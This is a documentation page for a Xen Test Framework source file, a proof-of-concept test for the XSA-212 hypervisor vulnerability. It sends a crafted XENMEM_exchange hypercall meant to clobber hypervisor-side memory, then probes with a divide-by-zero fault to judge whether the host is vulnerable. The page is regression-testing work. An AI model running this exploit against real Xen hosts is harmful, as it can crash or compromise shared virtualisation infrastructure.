Xen Test Framework
main.c
Go to the documentation of this file.
1 
28 #include <xtf.h>
29 
30 const char test_title[] = "XSA-212 PoC";
31 
32 void test_main(void)
33 {
34  unsigned int i;
35  desc_ptr idtr;
36 
37  sidt(&idtr);
38 
39  /* Exchange away PFN 0. */
40  unsigned long in_extents[] = { pfn_to_mfn(0) };
41  unsigned long pxt = _u(in_extents);
42  unsigned long exchanged_so_far = idtr.base / 8;
43 
44  struct xen_memory_exchange mx =
45  {
46  .in = {
47  .extent_start = _p(pxt - idtr.base),
48  .nr_extents = exchanged_so_far + 1,
49  .extent_order = PAGE_ORDER_4K,
50  .mem_flags = 0,
51  .domid = DOMID_SELF,
52  },
53  .out = {
54  .extent_start = NULL,
55  .nr_extents = exchanged_so_far + 1,
56  .extent_order = PAGE_ORDER_4K,
57  .mem_flags = 32,
58  .domid = DOMID_SELF,
59  },
60  .nr_exchanged = exchanged_so_far,
61  };
62 
63  /*
64  * This test can race with being rescheduled across pcpus. Retry up to
65  * three times if XENMEM_exchange looks vulnerable, but Xen didn't crash
66  * when trying to handle the divide error.
67  */
68  for ( i = 0; i < 3; ++i )
69  {
70  int rc = hypercall_memory_op(XENMEM_exchange, &mx);
71 
72  if ( rc == 0 )
73  xtf_failure("Fail: XENMEM_exchange returned success\n");
74  else
75  printk("XENMEM_exchange returned %d\n", rc);
76 
77  printk("Probably %svulnerable to XSA-212\n", rc == 0 ? "" : "not ");
78 
79  unsigned int hi = 0, low = 1;
80  exinfo_t fault = 0;
81 
82  printk("Attempting to confirm...\n");
83 
84  asm volatile ("1: div %%ecx; 2:"
85  _ASM_EXTABLE_HANDLER(1b, 2b, %P[rec])
86  : "+&a" (low), "+&d" (hi), "+D" (fault)
87  : "c" (0), [rec] "p" (ex_record_fault_edi));
88 
89  if ( fault == EXINFO_SYM(DE, 0) )
90  {
91  if ( rc == 0 )
92  {
93  printk("Apparent clobber, but got #DE. Retrying...\n");
94  continue;
95  }
96  xtf_success("Success: Got #DE as expected\n");
97  }
98  else
99  xtf_error(" Error: Unexpected fault %#x, %pe\n", fault, _p(fault));
100 
101  break;
102  }
103 }
104 
105 /*
106  * Local variables:
107  * mode: C
108  * c-file-style: "BSD"
109  * c-basic-offset: 4
110  * tab-width: 4
111  * indent-tabs-mode: nil
112  * End:
113  */
unsigned int exinfo_t
Packed exception and error code information.
Definition: exinfo.h:19
bool ex_record_fault_edi(struct cpu_regs *regs, const struct extable_entry *ex)
Record the current fault in %edi.
Definition: extable.c:16
unsigned long * extent_start
Definition: memory.h:13
unsigned long pfn_to_mfn(unsigned long pfn)
#define XENMEM_exchange
Definition: memory.h:38
#define _u(v)
Express an arbitrary value v as unsigned long.
Definition: numbers.h:53
static void sidt(desc_ptr *idtr)
Definition: lib.h:352
void printk(const char *fmt,...)
Definition: console.c:134
#define NULL
Definition: stddef.h:12
void xtf_success(const char *fmt,...)
Report test success.
Definition: report.c:38
void xtf_failure(const char *fmt,...)
Report a test failure.
Definition: report.c:94
void test_main(void)
To be implemented by each test, as its entry point.
Definition: main.c:137
const char test_title[]
The title of the test.
Definition: main.c:14
#define PAGE_ORDER_4K
Definition: page.h:20
#define _p(v)
Express an abitrary integer v as void *.
Definition: numbers.h:48
#define EXINFO_SYM(exc, ec)
Definition: exinfo.h:29
void xtf_error(const char *fmt,...)
Report a test error.
Definition: report.c:80
#define DOMID_SELF
Definition: xen.h:70
static long hypercall_memory_op(unsigned int cmd, void *arg)
Definition: hypercall.h:100
#define _ASM_EXTABLE_HANDLER(fault, fixup, handler)
Create an exception table entry with custom handler.
Definition: extable.h:38
struct xen_memory_reservation in
Definition: memory.h:41